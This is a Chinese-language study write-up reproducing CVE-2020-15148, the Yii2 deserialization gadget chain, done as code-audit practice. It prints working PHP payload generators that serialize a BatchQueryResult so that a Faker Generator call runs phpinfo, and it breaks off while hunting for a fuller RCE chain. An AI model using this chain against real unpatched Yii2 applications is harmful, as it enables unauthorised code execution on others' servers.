1. 前言
跟着feng师傅再学习一下yii2的反序列化漏洞,提高代码审计能力
feng师傅的连接
漏洞出现在yii2.0.38之前的版本中,在2.0.38进行了修复,CVE编号是CVE-2020-15148:
Yii 2 (yiisoft/yii2) before version 2.0.38 is vulnerable to remote code execution if the application calls unserialize() on arbitrary user input. This is fixed in version 2.0.38. A possible workaround without upgrading is available in the linked advisory.
至于环境的安装,直接从github上找yii2,下载下来2.0.37版本,然后修改config/web.php文件里cookieValidationKey的值,随便什么值都行。然后正常的部署一下就行了,就像thinkphp那样,根目录是/yii2/web。
1.1关于yii2 的一些访问的小知识:
根目录是
http://127.0.0.1/fuxian/yii2/web/index.php
或者
http://127.0.0.1/fuxian/yii2/web/
而后 用变量 r 来表示控制器和方法
http://127.0.0.1/fuxian/yii2/web/index.php?r=控制器/方法
注意格式:(多词汇组成的,每个单词首字母需大写)
控制器的格式 是 SampleController 。 后面的Controller是固定的。然后前面那一块是控制器的名字,输入的时候,小写就行。
里面的方法。格式是 actionTest 。 前面的action是固定的,后面的是名字,换成小写就好。
例子如下:
2. CVE-2020-15148复现
小前言:
感觉值得再过一遍,学到了好多好多知识。(可能是我真的太菜了。。。不会的太多了。所以觉得值得再过一遍…恶龙咆哮…)
这个反序列化的入口点是一个__destruct(),在BatchQueryResult类中
继续跟进一下reset():
但是继续跟进close(),发现没有什么利用的办法,正常可能链就断了,但是大师傅们的思路就是不一样,这里的
_dataReader
是可控的,那么调用了close的方法,是不是可以想办法触发__call
呢?(调用类中不存在的方法的时候就会调用 __call()
方法了)
全局搜索一下__call,最后在\vendor\fzaninotto\faker\src\Faker\Generator.php
找到了一个合适的__call方法:
因为上面的那个 close 是无参方法,所以传给 __call()
中的 $method
是 close
, $attributes
为空。然后我们继续跟进format方法:
传入的formatter是 close
好家伙,call_user_func_array
。 继续跟进一下 getFormatter
.
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
里面的$this->formatter
是我们可控的。因此getFormatter
方法的返回值我们也是可以控制。因此call_user_func_array($this->getFormatter($formatter), $arguments );
中,回调函数我们可控,但是$arguments
是一个空数组,所以相当于我们能够干两件事:
- 调用yii2中任意的一个无参方法,
- 或者调用原生php的类似phpinfo()这样的无参方法,
但是第二种肯定不能够RCE。因此,我们还要在yii2中已有的无参方法进行挖掘:
2.1 调用原生php的类似phpinfo()这样的无参方法 + 调试:
feng 师傅的重复调用两次call_user_func_array太强了,我反应不过来,就先调用个最简单来就行了。
其实不用这个多,不用带 函数方法的,就带上属性就行了。但是为了本地调试能够看出来对错,我便带上了整个调用链的调用函数链
<?php
namespace Faker
{
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = "phpinfo"; # 调用单一原生函数,
}
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
}
}
namespace yii\db
{
use Faker\Generator;
class BatchQueryResult
{
private $_dataReader;
public function __construct()
{
$this->_dataReader = new Generator();
}
public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
$this->_dataReader = null;
$this->_batch = null;
$this->_value = null;
$this->_key = null;
}
public function __destruct()
{
// make sure cursor is closed
$this->reset();
}
}
}
namespace
{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
正向来的,是能够出phpinfo的。是对的。
反向也可。
上面的就可以直接打了。其实精简的话,可以去掉除了__construct()
之外的所有方法,
payload如下:
<?php
namespace Faker
{
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = "phpinfo";
}
}
}
namespace yii\db
{
use Faker\Generator;
class BatchQueryResult
{
private $_dataReader;
public function __construct()
{
$this->_dataReader = new Generator();
}
}
}
namespace
{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
生成的payload是和上面的那个是一样的。
2.2 调用yii2中任意的一个无参方法
在yii2中找到一个无参方法:
function \w+\(\)
但是无参函数实在是太多了,一个一个挖起来实在费力。这里就是大师傅们的经验和智慧了,直接搜索含有 call_user_function
的无参函数:
function \w+\(\) ?\n